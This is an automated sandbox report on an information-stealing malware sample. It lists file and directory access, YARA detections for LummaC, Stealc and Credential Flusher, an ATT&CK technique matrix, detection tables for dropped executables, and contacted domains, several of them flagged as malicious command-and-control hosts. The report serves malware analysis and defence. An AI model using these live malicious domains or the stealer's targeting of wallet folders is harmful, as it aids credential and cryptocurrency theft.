Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\QCFWYSKMHA
Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL

Source: C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Directory queried: number of queries: 1474

Source: Yara match	File source: 13.3.26e226f915.exe.169ed50.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.3.26e226f915.exe.169ed50.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001C.00000003.3219630830.0000000000FD1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3198150791.000000000101F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3173301010.000000000101F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3141191649.00000000016AB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3219630830.000000000101F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3178327332.000000000101F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3239956921.0000000001028000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.3047169433.00000000016B0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 26e226f915.exe PID: 4020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 26e226f915.exe PID: 6764, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 0000000E.00000003.3097542418.000000000135F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 90bef5afae.exe PID: 5204, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7160, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 26e226f915.exe PID: 4020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 26e226f915.exe PID: 6764, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 39.2.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.0.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.9NWW1UIUAOJA8NFOZHWEDA.exe.4a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.ef2532c0b1.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.ef2532c0b1.exe.40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.3104366518.0000000000181000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.3089240746.0000000000181000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3013087261.0000000000041000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.3176264555.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2972676425.00000000052C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2408818591.00000000004A1000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3340338956.0000000001097000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3222497122.0000000000041000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.3230829652.0000000000C9B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3113201257.000000000129E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2368421842.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.3324835217.0000000004A70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3014293851.000000000159E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.3337452066.0000000000181000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.3322904939.0000000000181000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2416316812.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9NWW1UIUAOJA8NFOZHWEDA.exe PID: 1340, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef2532c0b1.exe PID: 1016, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001229001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	21 File and Directory Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	11 Deobfuscate/Decode Files or Information	LSASS Memory	225 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	12 Process Injection	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1001229001\num.exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1USEAVXFST1CCUTT4RKEBB0FQ1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\TBWW22TPTEFJD0MFEV8VM5Q8IDL74.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ST44OD0PMG8MCMYJRN4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\M0SHVBI03XTU9LNHD2O8UA8TC8F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1001229001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\J5ZZ1Y85CCQU7EF0IIBN6DLOUVMA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	45%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe	42%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1001227001\ef2532c0b1.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1001228001\90bef5afae.exe	45%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1001229001\num.exe	83%	ReversingLabs	Win32.Trojan.Stealc
C:\Users\user\AppData\Local\Temp\9NWW1UIUAOJA8NFOZHWEDA.exe	45%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\PPP8FUHMDUG38MZT5OEEJAB.exe	45%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
https://merino.services.mozilla.com/api/v1/suggest	0%	URL Reputation	safe
https://www.gstatic.cn/recaptcha/	0%	URL Reputation	safe
https://spocs.getpocket.com/spocs	0%	URL Reputation	safe
https://ads.stickyadstv.com/firefox-etp	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://lv.queniujq.cn	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	0%	URL Reputation	safe
https://static.adsafeprotected.com/firefox-etp-js	0%	URL Reputation	safe
https://checkout.steampowered.com/	0%	URL Reputation	safe
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	0%	URL Reputation	safe
https://spocs.getpocket.com/	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	0%	URL Reputation	safe
https://help.steampowered.com/en/	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://broadcast.st.dl.eccdnx.com	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#ascii-whitespace	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://contile.services.mozilla.com/v1/tiles	0%	URL Reputation	safe
https://watch.sling.com/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	unknown
star-mini.c10r.facebook.com	157.240.251.35	true	false	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	unknown
twitter.com	104.244.42.1	true	false	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	unknown
sergei-esenin.com	104.21.53.8	true	true	unknown
dyna.wikimedia.org	185.15.59.224	true	false	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	unknown
contile.services.mozilla.com	34.117.188.166	true	false	unknown
youtube.com	142.250.185.206	true	false	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	unknown
youtube-ui.l.google.com	172.217.18.14	true	false	unknown
steamcommunity.com	104.102.49.254	true	true	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	unknown
reddit.map.fastly.net	151.101.193.140	true	false	unknown
ipv4only.arpa	192.0.0.171	true	false	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	unknown
push.services.mozilla.com	34.107.243.93	true	false	unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	unknown
www.reddit.com	unknown	unknown	false	unknown
spirittunek.store	unknown	unknown	true	unknown
spocs.getpocket.com	unknown	unknown	false	unknown
licendfilteo.site	unknown	unknown	true	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	unknown
support.mozilla.org	unknown	unknown	false	unknown
eaglepawnoy.store	unknown	unknown	true	unknown
firefox.settings.services.mozilla.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown
www.facebook.com	unknown	unknown	false	unknown
bathdoomgaz.store	unknown	unknown	true	unknown
detectportal.firefox.com	unknown	unknown	false	unknown
studennotediw.store	unknown	unknown	true	unknown
mobbipenju.store	unknown	unknown	true	unknown
shavar.services.mozilla.com	unknown	unknown	false	unknown
clearancek.site	unknown	unknown	true	unknown
dissapoiznw.store	unknown	unknown	true	unknown
www.wikipedia.org	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dissapoiznw.store	true		unknown
https://steamcommunity.com/profiles/76561199724331900	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	file.exe, 00000000.00000003.2142360796.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2142519929.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000000D.00000003.3032704846.000000000162F000.00000004.00000020.00020000.00000000.sdmp, 26e226f915.exe, 0000001C.00000003.3122878737.000000000101C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/commun	26e226f915.exe, 0000000B.00000002.2904278824.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/1http://mozilla.org/#/properties/targeting	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 0000001B.00000002.3310993207.0000017084B54000.00000004.00000800.00020000.00000000.sdmp	false		unknown
